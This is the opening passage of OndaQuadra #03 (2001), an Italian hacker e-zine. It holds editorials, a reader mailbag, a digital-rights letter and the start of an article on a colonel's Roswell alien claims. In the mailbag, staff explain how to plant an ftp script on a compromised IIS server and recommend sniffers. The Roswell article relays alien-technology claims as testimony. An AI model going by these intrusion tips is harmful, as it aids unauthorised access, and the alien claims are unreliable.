Copy Link
Add to Bookmark
Report

OndaQuadra 03

eZine's profile picture
Published in 
OndaQuadra
 · 26 Apr 2019

  

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::,. .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::, r#@@@@@M ,::::. .,:::::::::::@@@::::NN:::N:::DDD,:::::AA:::::::::::::::::::
:::::, B@@@@@@@@@@@@ .:, ,H@@@A: .:::::::::@:::@:::N:N::N:::D:::D:::A::A::::::::::::::::::
::::. @@@, S@@@@@@; ,,;@@@@@@@@@:.:::::::::@:::@:::N::N:N:::D:::D:::AAAA::::::::::::::::::
:::. S@@@. .::, r@@@@@@ ,,.; ;@@@@@@@. ,::::::::@@@::::N:::NN:::DDDD:::A::::A:::::::::::::::::
::: ;@@@@ ::::: #@@@@@ ,,. ;@@@@@@@@ .::::::::::::::::::::::::::::::::::::::::::::::::::::::
::, @@@@@: .,:::, r@@@@: ,:, @@@@@@@@@, ,:::::::::::::::::::::::::::::::::::::::::::::::::::::
::, @@@@@@ @@@@ .:, #@@@@@@@@@# .::::::::@@@:::U:::U:::AA::::DDD,:::RRR,:::::AA:::::
::: 2@@@@@@@G. M@@& ,:. S@@@@@@@@@@@@5 ,::::@:::@::U:::U::A::A:::D:::D::R::R::::A::A::::
:::. #@@@@@@@@@@@: ,:, .@@@@@@@@@@@@@@@@@A :::@:::@::U:::U::AAAA:::D:::D::RRRR::::AAAA::::
:::: :@@@@@i .:::: @@@@@@@@@@@@@@@@@@@@@i ,:::@@@::::UUU::A::::A::DDDD:::R:::R::A::::A:::
:::::, ,::: h@@@@@@@@@@@@@@@@@@@@@@H .::::@:::::::::::::::::::::::::::::::::::::::
:::::,. ;3H@@@H, ., @@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::::::::::::::::::::::::::
:::, r@@@@@@@@@@@@; . @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::://////////////////\\\\\\\\\\\\\\\\\:
::. #@@; :@@@@@@s .@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::=IL BATTITO CARDIACO DEL SAIBERSPEIS=
:. @@@ .::, @@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@ .::::\\\\\\\\\\\\\\\\\\/////////////////:
: ,@@@M :::::, ,@@@@@ ,, .@@@@@@@@@@@@@@@@@@@@@@@@@X ::::::::::::::::::::::::::::::::::::::::
, @@@@@ ,::::: @@@@; ,:: 2@@@@@@@@@@@@@@@@@@@@@@@,H.::::::::::::::::::::::::::::::::::::::::
, @@@@@H r@@@: .:::: i@@@@@@@@@@@@@@@@@@@@@@@3 ::::::::::::::::0::@@@@:::::::::::::::::
, A@@@@@@3 .@@@, .::::: @@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::N:NN:::::::::@::::::::::::::::
: S@@@@@@@@@@@@ .,::::,, @@@@@@@@@@@@@@@@@@@@@@@@; ::::::::::NN::N:::::@@@:::::::::::::::::
:: A@r ,,::. @@r .9 @@@@@@@@@@@@@@@@@ ::::::::::N:::N::::::::@::::::::::::::::
:::. H@@@@@@h; @@@@@@@@&.r @@3@@@@@@@@@@@@@@ ,:::::::::N:::N::::@@@@:::::::::::::::::
:::.@@@@@@@@@@@@@@@@@&: . ;i@@hHi@@@@@@@@@@@@3 ,::::::::::::::::::::::::::::::::::::::
:::. .X@@@@@@@@@@@@@@X. . @@@@@@@@@@@@@@,.::::::::::::::::,,,,::::::::::::::::::
::::::,,,. :#@@@@@@@@@@@@@@@r rB@@@@@@@@@@,.::::::::::::,. r:,::::::::::::::::::
:::::::::::::,. ;H@@@@@@@@@@@@@@@#r #@@@@@r ,::::::,. 9@@@:,:::::::::::::::::::
::::::::::::::::::,. ;&@@@@@@@@@@@@@@@@G. r@@@@#, ,::::::::::::::::::
::::::::::::::::::::::::,. .r#@@@@@@@@@@@@@@@@@@@#BM@@@@@@@@@@, ,:::::::::::::::::::::
::::::::::::::::::::::::::::::,. :S#@@@@@@@@@@@@@@@@@&; ,:::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::,. .,::::::::::::::::::::::::::::::


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ #03 - 17/09/2001 |
+-------------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+-------------------------------------------------------------------------------+
| ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ~ M0RTE Di UN HACKER ~ |
| |
| Questo numero è dedicato a Wau Holland, un fratello che non è più tra noi. |
| |
| [ oq ~ staff ] |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->


+-------------------------------------------------------------------------------+
| INDICE |
+-------------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 iNTR0 AL NUMER0 03 ........................................ [oq ~ staff] |
| 0x02 iPSE DiXiT .................................................... [JEYoNE] |
| 0x03 RETR: LA P0STA Di 0Q ...................................... [oq ~ staff] |
+-------------------------------------------------------------------------------+
| [LA RiF0RMA] |
| 0x04 LA LETTERA AD UN HACKER ................................ [Martin Lutero] |
+-------------------------------------------------------------------------------+
| [TWiLiGHT Z0NE] |
| 0x05 ERA LA SERA DEL 6 LUGLi0 1947 ........................ [Alfredo Lissoni] |
+-------------------------------------------------------------------------------+
| [HACKiNG] |
| 0x06 DiVENTAND0 ADMiNiSTRAT0R SU NT .............................. [Tdi110cv] |
| 0x07 SEST0 SENS0 ................................................ [tritemius] |
| 0x08 SCANNiAM SCANNiAM0 CHE W2K L0 Vi0LiAM0 [PARTE SEC0NDA] ...... [Tdi110cv] |
| 0x09 GUiDA ALL'HACKiNG v. 0.5 ............................... [Xp Terminator] |
+-------------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x0A NETBi0S ................................................ [Xp Terminator] |
| 0x0B C0SA S0N0 LE P0RTE ....................................... [Screener_it] |
+-------------------------------------------------------------------------------+
| [LiNUX] |
| 0x0C LA LUNGA ST0RiA DELL'EXPL0iT DEL DEMONE rpc.statd .............. [xyzzy] |
| 0x0D WHAT U MUST T0 KNOW II (comendi e non solo) ................ [Malkavian] |
+-------------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0E C0RS0 Di C [PARTE SEC0NDA] .................................... [JEYoNE] |
| 0x0F iNTR0 ALLE MACR0 (5/6) ........................................ [Mastro] |
| 0x10 iNTR0DUZi0NE ALLA PR0GRAMMMAZi0NE [PASCAL] ............. [Xp Terminator] |
| 0x11 C0DiNG4DUMMiES: NiX2DOS & DOS2NiX .............................. [bondo] |
+-------------------------------------------------------------------------------+
| [L'ANG0L0 DEGLi ExPL0iT] |
| 0x12 ...UN CGi AL Gi0RN0 ... LEVA iL R00T Di T0RN0 !!!! .......... [Tdi110cv] |
+-------------------------------------------------------------------------------+
| [MiSC] |
| 0x13 FiLE MASQUERADE ................................................. [E4zy] |
| 0x14 GUiDA ALL0 SMANETTAMENT0 DEL REGiSTRY ....................... [Frenk666] |
| 0x15 MiME: N0N APRiTE QUELL'ALLEGAT0 ................................. [E4zy] |
| 0x16 Mi M0NT0 L'FTP SU WiN .................................... [Screener_it] |
| 0x17 150 FM (0VVER0 COME METTERE 150 MIN. Di MUSICA SU UN CD) ....... [bondo] |
| 0x18 D0S DEViCE iN PATH NAME ......................................... [E4zy] |
| 0x19 MiMETiZZARE UN PR0GRAMMA ALL'iNTERNO Di UN VBSCRIPT ............ [bondo] |
| 0x1A AntiSEC, V0CE C0NTR0C0RRENTE (traduzione) ...................... [xyzzy] |
| 0x1B C0ME RECUPERARE USER E PWD DURANTE UNA SESSi0NE 0UTL00K ........ [bondo] |
| 0X1C WEB SERViCE SiGN-UP ............................................. [E4zy] |
+-------------------------------------------------------------------------------+
| [L0 SCiAMAN0] |
| 0x1D SF0G0 Di UN NAViGAT0RE S0LiTARi0 ........................... [Malkavian] |
| 0x0E A PR0P0SiT0 Di WRiTiNG ........................................ [Gianlu] |
| 0x1F LETTERA APERTA AGLi HACKERS DI iNTERNET (traduzione)............ [xyzzy] |
| 0x20 C0NNESSi0Ni TRA 0RA E SEMPRE .............................. [Il Magnano] |
| 0x21 LETTERA A SiLVi0 B. iL GRADASS0 ........................... [Il Magnano] |
+-------------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0X22 XP TEL 'N CHAT ......................................... [Xp Terminator] |
| 0x23 CRACKiNG4DUMMiES: PARTE 3 ................................... [_phobos_] |
| 0x24 PR0GETTO iRA ............................................... [tritemius] |
| 0x25 NETBUSFUCKER ................................................... [bondo] |
| 0x26 GUiDA SUL MiRC SCRiPTiNG [PARTE 1] ................... [[]_CyBeRPuNK_[]] |
| 0x27 C0DiCE iNVERS0: CRiTT0GRAFiA DiGITALE AVANZATA PARTE 1 .......... [Zer0] |
+-------------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x28 CERTE N0TTi .............................................. [Screener_it] |
+-------------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x29 D0VE TR0VARCi ............................................. [oq ~ staff] |
+-------------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 150 FM (VEDi ARTiC0L0 0x13) .................................... [bondo] |
| 0x02 XP TEL 'N CHAT ........................................ [Xp Terminator] |
| 0x03 GIC GUiDA iTALiANA AL CARDiNG ............................ [Screener_it] |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #03 - 17/09/2001 |
| EDiT0RiALE [oq ~ staff] 0x01/0x29 |
+-------------------------------------------------------------------------------+

Cari amici, cari lettori,
mai come questa volta mi sono sentito così convinto e motivato nel presentarvi il nuovo numero della rivista.
Dopo la nostra apparizione su Punto Informatico (http://www.punto-informatico.it) abbiamo ricevuto e continuiamo a ricevere mail, sia di critiche, purtroppo non costruttive, sia di complimenti per il lavoro svolto fin'ora.
Volevo spendere un paio righe per ringraziare tutti quelli che ci fanno i complimenti e garantire sempre nuovi articoli per ampliare la scena underground italiana che, purtroppo, non è della migliori.
Colgo l'occasione per ringraziare Punto Informatico sia per lo spazio concessoci, sia per aver fatto in modo che nuovi personaggi con delle capacità e delle conoscenze venissero a sapere della nostra esistenza.
Proprio grazie a P.I. in questo numero noterete la presenza di nuovi collaboratori che scrivono per noi.
Purtroppo però, con amarezza, devo spendere un altro paio di righe per dire a tutti quelli che si sentono in grado di fare critiche che noi ci sentiamo a posto con noi stessi, che tutto il tempo perso, che poi in realtà perso non è, non ce lo paga nessuno.
Volevo dire a tutti questi guru, questi sapientoni, di farsi valere, se hanno tanto da dire e da criticare sul lavoro altrui.
E se, come dicono loro, noi non siamo altro che ragazzini perditempo, facciano qualcosa loro per ampliare la scena.
FATTI AL POSTO DI PAROLE! E' questo che ci spinge, da un anno a questa parte!
Con questo voglio chiudere la parentesi riguardante questi episodi, non tornerò più su questo argomento.
Prima di chiudere, volevo avvisare che dal prossimo numero OndaQuadra subirà una leggera variazione, la rivista infatti non sarà più TRIMESTRALE bensì BIMESTRALE, quindi ci rivedremo il 19 di Novembre, con molti altri articoli! (Hey gente, non aspettatevi sempre articoli in quantità industriale come in questo numero, non è mica sempre festa! :P )
Apriamo le danze quindi, dando il benvenuto a tutti i nuovi lettori ed a tutti i nuovi collaboratori.
Buona lettura,

JEYoNE


Bene bene son passati 3 bei mesucci dall'ultima uscita di OQ.
Ed eccoci ancora online puntuali come orologi svizzeri.
In questo periodo di ferie e lavoro sono state molte le cose che ci sono
passate davanti al monitor.
Nuovi bug (Bill fa sempre il suo dovere) , nuove patch , nuovi exploit ,
vecchi siti chiusi , Sircam che ancora sta facendo numerosi disastri ,
Code red e il suo fratellone Code red II , ESTINTORI , numerosi insulti , ecc.
Si infatti a seguito di una intervista apparsa su PI molti ci hanno deriso
, insultato , preso per mentecatti , insomma alla fine molti non hanno
capito il senso di questa realta'.
Realta' che oramai e' alla quarta uscita e che comunque sia andra' avanti
fino a quando troveremo qualcuno che ci spingera' a farlo.
E se siamo qui lo siamo ancora perchè qualcuno ha capito il senso di
tutto questo e ha voluto scriversi ringraziandoci per tutto quello che
di buono sono riusciti a capire.
Certo tutti abbiamo probabilmente scritto cazzate , banalita' o robe simili.
In effetti io per primo ho scritto un paio di puttanate megagalattiche.
Bastava pero' semplicemente un cenno sull'argomento un consiglio , degli
insulti non so che farmene.
Chi mi ha detto il perchè e percome di tutte le cazzate che ho detto e'
stato ringraziato , coloro che mi hanno invece insultato possano pure
andare all'inferno.
Molte delle cose scritte sono esperimenti che saltano fuori da un giorno
all'altro e se le pubblico non e' per insegnare nulla a nessuno , ma per ben
sperare che se qualcuno noti errori o cose simili me li segnali prontamente.
Avevo promesso anche un articolo chiarificatorio , ma onestamente non ne ho
voglia , e se proprio volete saperlo molti non lo meritano neanche.
Noi cmq di OQ stiamo andando avanti stesso , tra un esperimento e l'altro ,
tra un meet e n'altro , insomma siamo qui per divertirci e imparare.
Oramai l'estate sta per terminare , molte teste calde stanno sbollendo , un
nuovo numero e' nato e noi continuiamo a divertirci.
Ci aspetta un lungo periodo fresco fresco per merito del quale ci chiuderemo
in casa a smanettare tutte le sere.
Ebbene mi auguro possano nascere delle novita' , novita' che verranno redatte
nei prossimi numeri.
Un saluto e buona lettura a tutti.

Sincerely TDI110CV ___________________

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #03 - 17/09/2001 |
| iPSE DiXiT [oq ~ staff] 0x02/0x29 |
+-------------------------------------------------------------------------------+

Io e me eravamo in tre
seduti su un sasso di legno
al chiaror di un lume spento
a leggere un libro senza pagine
Mi venne fame
anche se non mangio mai a stomaco vuoto
salii su un albero di pere
e feci una scorpacciata di mele
arrivo il contadino
mi lancio un sasso
mi colpì al piede
mi si sbucciò il ginocchio
e mi ruppi la testa
Scesi in un precipizio
dove il sole scendeva a fiocchi candidi
mentre la neve risplendeva sui campi di grano
vidi allora un morto vivente
tirai fuori il mio coltello senza manico
al quale mancava soltanto la lama
e dissi:
MUORI PATATA MARCIA!


- Questo è dedicato a Noha, amico, rimarrai sempre nel nostro cuore! -

R.I.P.

JEYoNE


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #03 - 17/09/2001 |
| RETR - LA P0STA Di 0Q [oq ~ staff] 0x03/0x29 |
+-------------------------------------------------------------------------------+

[D0x00 Paolo Mon Thursday, July 05, 2001 4:38 PM]
-------------------------------------------------
Carissimi di Onda Quadra sono Paolo frequento il 5° superiore(informatica) al Marconi di Bari, voi siete super mega extra fichissimi, e per quanto limitate possano essere le mie conoscenze è
evidente che voi tutti siete un gradino al di sopra degli altri editori di e-zine riguardanti....lo sapete voi :-)
come dicevo le mie conoscenze sono limitate, ma la voglia di imparare è tanta per questo leggo la vostra e-zine, ma vorrei fare una richiesta. Quando scrivete un articolo su un argomento
X, per favore di fianco ai termini che richiedono un certo tipo di conoscenza,
potete scrivere una brevissima spiegazione di 2 parole?
E quando spiegate un argomento del tipo sniffing, scanning ecc potete chiarire ai lettori più umili quando e perchè si usano queste tecniche?
Vi ringrazio per l'attenzione, e sicuro di una risposta positiva Vi saluto.

[R0x00]
-------
Sul fatto di essere un gradino sopra a tutti gli altri non ci giurerei, cmq ringrazio per i complimenti a nome di tutti i collaboratori.
Effettivamente la tua considerazione e' giusta, forse a volte vengono date per scontate cose che scontate non sono.
E' anche vero che il livello tecnico degli articoli e' eterogeneo: alcuni sono molto semplici,
altri un po' piu' complessi.
Inoltre OQ non sceglie una linea editoriale omogenea, i collaboratori sono sparsi per l'Italia e non concordano il formato degli articoli.
Invito i collaboratori a tenere in considerazione questi suggerimenti e a metterli in pratica a partire dal prossimo numero.

.:.

[D0x01 From XxX Mon Jul 16 14:36:36 2001]
-----------------------------------------
Dunque (prima cosa CIAO a tutti) arriviamo al dunque:
ho letto oq02.txt,ma ho riscontrato un problema: vi parlo dell'argomento (VULNERABiLiTA' Di iiS) precisamente alla linea 985 del FILE in questione,dove
parla come cariare il file sul server vittima:
voi dite di creare lo script e poi usare "ftp -s:nomescript".
Si,è vero la cosa funzionerebbe se solo potessi far leggere sto mio file al comando FTP eseguito sul server!
Come faccio a fare ciò????
Io non ho capito questo punto della guida!!!
Si possono far eseguire comandi in remoto,ma come faccio a far leggere sto file di mia creazione???
Grazie 1000 per le delucidazioni che mi darete...
Bye Bye

XxX

[R0x01]
-------
Creare il file script significa crearlo sulla macchina target.
Se si ha la possibilita' di eseguire comandi da remoto, si puo' facilmente creare lo script con il comando echo.

.:.

[D0x02 From Sergio Mon Jul 23 11:08:15 2001]
--------------------------------------------
Ciao mi chiamo Sergio e non sono una cima con i computer, ma ogni tanto mi incasinato da solo, mi sono registrato su più siti ed ho la rubrica degli indirizzi sparsa tra yahoo,Virgilio,libero...,chiaramente con outlook 5 posso ricevere ed inviare posta, ma non mi ricordo le password,tutte rigorosamente diverse e non scritte,posso ricavare la password dal
mio programma di posta che me le mostra come +++++++++?
Se mi potete aiutare mi fate un favore grazie Sergio

[R0x02]
-------
Prova snitch: http://ntsecurity.nu/toolbox/snitch/

.:.


[D0x03 From emdile@... ]
------------------------
Ciao ragazzi, innanzi tutto complimenti per gli articoli...piano piano
me li sto spupazzando tutti...
Ho una richiesta da farvi:
A proposito di Buttsniff.....al comando -l mi segnala la presenza della scheda di rete, ma dice che non è settata in modo promiscuo...niente niente avete qualcosina per impostarla in maniera
"corretta".....ciao alla prossima....grazie

[R0x03]
-------
Uno dei compiti dello sniffer e' proprio quello di mettere la scheda in modalita'
promiscua. Prova una versione diversa di Buttsniff, oppure SpyNet/Iris.

.:.

[D0x04 From axoman@]
--------------------
Ho saputo del vostro magazine da punto informatico e per curiosità mi sono messo a leggere ed ho trovato molto interessanti tutti i temi che trattate (anche se ho difficoltà a seguirvi perchè di reti ne so pochino......), sono veramente molto affascinato dall'argomento ma
vorrei portare alla vostra attenzione (ovviamente se vi interessa) anche un altro argomento:
molti ragazzi oggi trovano lavoro presso società informatiche (o presunte tali....) per lavori di help desk, customer service o affini e vengono trattati come schiavi, ve lo dico perchè per molto è stata anche la mia situazione....
Vi faccio il mio esempio:
lavoravo in turni dalle 6:00 alle 24:00 senza che mi venissero considerate indennità per i turni lavoravo il Sabato e la Domenica senza che venissero considerati festivi
ho lavorato per quasi due anni con un contratto fantasma di collaborazione
(che tutela solo il datore di lavoro...)
Come me ci sono credo migliaia di ragazzi sfruttati e costretti da un'economia becera a stare zitti per non perdere il posto di lavoro.
Se volete contattarmi per saperne di più scrivetemi a questo indirizzo
e se volete posso mettervi in contatto con tanti altri miei colleghi (o
meglio ex colleghi) che tra l'altro lavorano all'help desk della RAI (pensate
un'pò, organo pubblico ufficiale.....di sfruttamento...),
grazie comunque tantissimo per quello che già fate.
Vorrei imparare molto ma fino ad adesso ho fatto solo molta confusione...

Ciao a presto

[R0x04]
-------
Questo e' un tema molto interessante. Intanto pubblichiamo la tua mail. Se vuoi, realizza un articolo o una ricerca tra i tuoi colleghi: verra' pubblicato su uno dei prossimi numeri.
Sarebbe bello creare uno spazio permanente all'interno di OQ per dare spazio alla denuncia
di situazioni simili.

.:.


[D0x05 From sabrina sabrina Sat Aug 11 00:38:19 2001]
-----------------------------------------------------
buongiorno..mi chiamo sabrina e ho un problema che spero voi mi possiate aitare a risolvere...vorrei sapere se avendo un indirizzo e-mail si può risalire al nome dell'utente e soprattutto sapere da dove dgt...grazie dell'aiuto
Sabrina

[R0x05]
-------
In teoria non e' impossibile risalire al nome di un utente che ha inviato una mail, ma si devono verificare condizioni oggi altamente improbabili (tipo la presenza di servizi finger "generosi").
Per quanto riguarda la localizzazione geografica dipende dal provider: nel nome host
dei dial-up di tin c'e' anche il nome della provincia.

.:.


[D0x06 From maxmatrix@ Mon Aug 13 04:19:21 2001]
------------------------------------------------
Salve a tutti e scusate se vi faccio perdere tempo. Vado subito al sodo.
E' possibile crakkare un account yahoo??
Se si...come posso fare??? A chi posso rivolgmermi... la questione è per me di vitale importanza... c'è l'amore di mezzo:-)
Grazie in qualsiasi caso
Max

[R0x06]
-------
Caro Max, non crediamo che il fine giustifichi la violazione della privacy...
Vedi di risolvere in altro modo.

Evitate di mandare richieste del genere. Ondaquadra e' un' ezine che rigurda i computer,
la Rete, la liberta' di informazione sulla Rete e nella vita reale, e si rivolge a chi cerca di
capire come funzionano le cose; chi vuole trarre vantaggi o profitti personali e banali
vada altrove.
Non incoraggiamo nessun tipo di azione illecita.

.:.



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LA RiF0RMA] #03 - 17/09/2001 |
| LETTERA AD UN HACKER [Martin Lutero] 0x04/0x29 |
+-------------------------------------------------------------------------------+

Carissimi di Ondaquadra, vi trasmetto la lettera che
ho mandato ad un mio amico. Lui è un hacker nel senso più letterale del
termine. Dunque è una persona che conta. Ve la giro, penso che sia
buona per tutti noi, hacker e non

Trattieni il respiro:

MafiaBoy, 17enne canadese, rischia il carcere;
Sklyarov, 26enne programmatore russo con figli, rischia 25 anni di
galera per aver scritto un software legale nel suo paese;
le majors chiudono la bocca a Felten, professore di Princeton, per non
fargli dire come fa a craccare i codici di protezione della SDMI;
i provider americani sono trascinati in tribunale dalle majors perché
ospitano server di file-sharing (openNAP e via dicendo);
mp3.com è stato comprato da Vivendi;
Napster sarà di nuovo, ma a pagamento;
eretico.com, gattibonsai.it, rotten.com e altri: aumentano i siti
chiusi o sotto accusa e, anche in Italia, i contenuti liberi fanno sempre
più male;
in Germania pensano ad un sistema di monitoraggio dei contenuti web;
filtri di Stato in Cina, Arabia Saudita, Vietnam, Iran e Città del
Vaticano;
censure sulle opinioni in internet in Malaysia, Cuba, Singapore;
i newsgroup non sono più supportati da MSN;
sulla stampa internet è un "mercato importante";
in alcune città della Florida sono già attive webcam della polizia per
scansionare i volti dei passanti;
all'areporto di Heatrow, a Londra, l'identità dei passaggeri verrà
presto determinata da una scansione dell'iride, stessa cosa sta accadendo
negli areoporti di Parigi e Francoforte;
in Italia l'identicard potrà contenere i dati biometrici degli
italiani;
la maggiorparte del traffico internet negli USA va su 4 siti;
in Italia le news che gli utenti internet leggono sono perlopiù quelle
messe in rete dai giornali cartacei imbollinati dalle autorità o quelle
delle agenzie di stampa finanziate dai soldi pubblici.

Ok, adesso puoi respirare. Ho chiuso qui questa lista, tralasciando
volutamente questioni ambientali e prettamente finanziarie, perché se
fossi andato avanti probabilmente saresti schiattato. Già, la lista è lunga
ed ogni constatazione è un pugno in pancia, difficile da digerire...
impossibile respirare.

Ora che ti sei ripreso te lo posso dire: questi sono tutti segnali
della perdita di coscienza della comunità hacker. Se questa fosse stata
sveglia com'è nella sua natura, dinamica com'è nella sua esperienza e
capace com'è nel suo mito, non avrebbe consentito negli ultimi anni una
simile escalation.

La conoscenza della tecnologia, status symbol per tanti che hacker non
sono ma si definiscono, è strumento potente nelle mani dei potenti di
sempre, che creano indisturbati la loro infrastruttura attorno a due
perni: il controllo e la (nuova) possibilità di controllare davvero.

Immagina un italiano tra dieci anni. Avrà nel portafoglio una card, una
carta di identità, che sa tutto di lui. Una card che conterrà i suoi
dati anagrafici, il suo stato di salute, i suoi segni biometrici. Una
card che l'italiano inserirà in un "driver" in ogni ufficio pubblico, o
direttamente da casa, senza avere la più pallida idea della tecnologia
che c'è dietro. Dentro la card ci potrà essere di tutto, tutto vi potrà
essere scritto o letto senza che l'italiano lo sappia. La chiamano carta
di identità digitale, ma quella è un'altra cosa, è una cosa che oggi
l'italiano sa leggere, che contiene informazioni che l'italiano conosce,
e che non può nascondergli nulla. L'unico dato biometrico è una
fotografia, un mezzo stupro che abbiamo imparato a sopportare perché ne
abbiamo il controllo e sappiamo chi la guarda e quando.

Ci vuole poco a constatare che il rifiuto della realtà del potere
organizzato è alla base del rifiuto di agire da parte di un numero enorme di
hacker, personaggi rari e preziosissimi. Ma ci vuole molto di più a
capire quali sono i danni che il mancato impegno da parte della comunità
hacker sta creando. Non bastano pochi e isolati paladini del cybermondo
libero, ci vuole molto di più, ci vuole una coscienza collettiva.
Scrivine, parlane, ricordati che la Riforma può essere schiacciata dalla
ControRiforma. E in mezzo c'è la libertà di tutti noi. Sei pronto a
rinunciarci?

Con affetto,

Martin Lutero
martin.lutero@deandreis.it



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [TWiLiGHT Z0NE] #03 - 17/09/2001 |
| ERA LA SERA DEL 6 LUGLi0 1947 [Alfredo Lissoni] 0x05/0x29 |
+-------------------------------------------------------------------------------+

Ho visto gli alieni di Roswell

É un ex colonnello americano, proviene dai servizi segreti,
fu collaboratore di Eisenhower, decorato d re Umberto, reduce da tre guerre.
Ma soprattutto è il militare che vide gli alieni di Roswell.


Si chiama Philip Corso. É un colonnello dell’esercito statunitense in pensione. Ma soprattutto
è l’uomo che ha visto i cadaveri di Roswell.
"Era la sera del 6 luglio 1947", ha raccontato Corso al recente simposio internazionale sugli
UFO di Montesilvano di Pescara, "e, con il grado di maggiore, ero di stanza a Fort Riley,
nel Kansas, come responsabile della sicurezza.
Stavo compiendo il consueto giro di perlustrazione della base quando, giunto vicino al
caseggiato veterinario, fui chiamato dal sergente maggiore Bill Brown. "
Maggiore, venga a
vedere. C’è da non crederci", mi disse.
Nessuno, quella sera, avrebbe dovuto entrare in quel perimetro. Un cartello diceva chiaramente
di girare alla larga.
Entrai e vidi alcune casse che, secondo Brown, venivano da Fort Bliss, Texas. Ci avevano detto
che contenevano del materiale recuperato da un incidente avvenuto un paio di giorni prima in
Nuovo Messico.
Mi avvicinai ad una delle casse di legno (erano una trentina), mentre Brown restava di guardia.
Vidi una cassa, sigillata su un lato e aperta dall’alto. Sollevai il coperchio e illuminai
l’interno con una torcia.
In quel momento lo stomaco mi balzò in gola"
.

E VIDI L’ALIENO

"Era una bara di vetro", prosegue Corso.
"Dentro c’era qualcosa sommerso in un liquido semigelatinoso, bluastro. Sulle prime pensai al
cadavere di un bambino.
Ma era una figura umana, lunga quattro piedi. Aveva braccia e mani strane, con quattro dita
ciascuna. Non vidi il pollice. Le gambe ed i piedi erano esili.La testa era sproporzionatamente
grande, a bulbo"
.
Nel momento in cui Corso vide il Grigio,capì di essersi imbattuto in qualcosa di straordinario.
"Dissi allora a Brown di andarsene in fretta, se non voleva avere grane.
La storia sembrò finire lì ma poi, nel 1961, giunsi al Pentagono, alle dipendenze del generale
Trudeau.
Ero colonnello e fui distaccato al dipartimento Ricerche e Sviluppo. Fu in quell’occasione che
Trudeau mi convocò e mi mostrò dei fascicoli speciali.
Si parlava di autopsie di extraterrestri, del crash di Roswell e della tecnologia aliena
recuperata. Trudeau mi disse che avrei dovuto valutare l’impiego strategico di quel materiale.
Così decisi di distribuire segretamente parte dei materiali trovati a diversi specialisti,
competenti e fidati. Dovevamo capire come funzionavano"
.
Nel disco di Roswell i militari avrebbero trovato, se è vero quanto dice Corso, transistor e
laser,fibre ottiche, leghe metalliche ad allineamento molecolare, generatori atomici portatili,
proiettili ad uranio e sistemi di propulsione e guida estremamente avveniristici.
"Per pilotare il disco volante l’alieno doveva mettere le mani su una tastiera che riproduceva
le forme di queste ultime. Poi si appoggiava sulla fronte una barretta e in quel momento
entrava in simbiosi con la macchina.
Per inciso, scoprimmo che gli alieni di Roswell non erano dei veri extraterrestri, ma degli
esseri clonati, dei robot biologici costruiti dagli alieni apposta per i viaggi interstellari"
.

TECNOLOGIA ALIENA

A detta di Corso buona parte di questa tecnologia sarebbe stata studiata segretamente, e quindi
commercializzata, da diverse ditte, americane e straniere.
"Non volevamo che solo gli Stati Uniti avessero l’esclusiva della tecnologia aliena", racconta
Corso, "e così fornii i brevetti alieni a diverse ditte straniere.
Chiedemmo a queste ditte di divulgare i risultati dei loro studi, di non tenere per sé queste
scoperte. Chiedemmo comunque l’opzione delle scoperte per l’Esercito, in modo che l’Arma ne
usufruisse per prima"
.
A detta di Corso, che per inciso fra il ‘47 ed il ‘47 ha coordinato i servizi segreti americani
in Italia e Gladio e i servizi di sicurezza del presidente Eisenhower, dal 1961 la nostra
storia tecnologica sarebbe mutata. Grazie ai brevetti alieni, il nostro pianeta avrebbe
vissuto un’impennata tecnologica.
"Oggi apparecchiature come il laser, i circuiti integrati, le reti a fibre ottiche, gli
acceleratori di particelle e perfino i giubbotti antiproiettili in kevlar sono di uso comune.
Ma i semi del loro sviluppo affondano tutti nel crash dell’UFO di Roswell.
Certo, di alcuni di questi oggetti conoscevamo la fattibilità teorica, ma non ne possedevamo
alcuno. Almeno, fino a quel fatidico giorno..."


GLI UFO A PESCARA

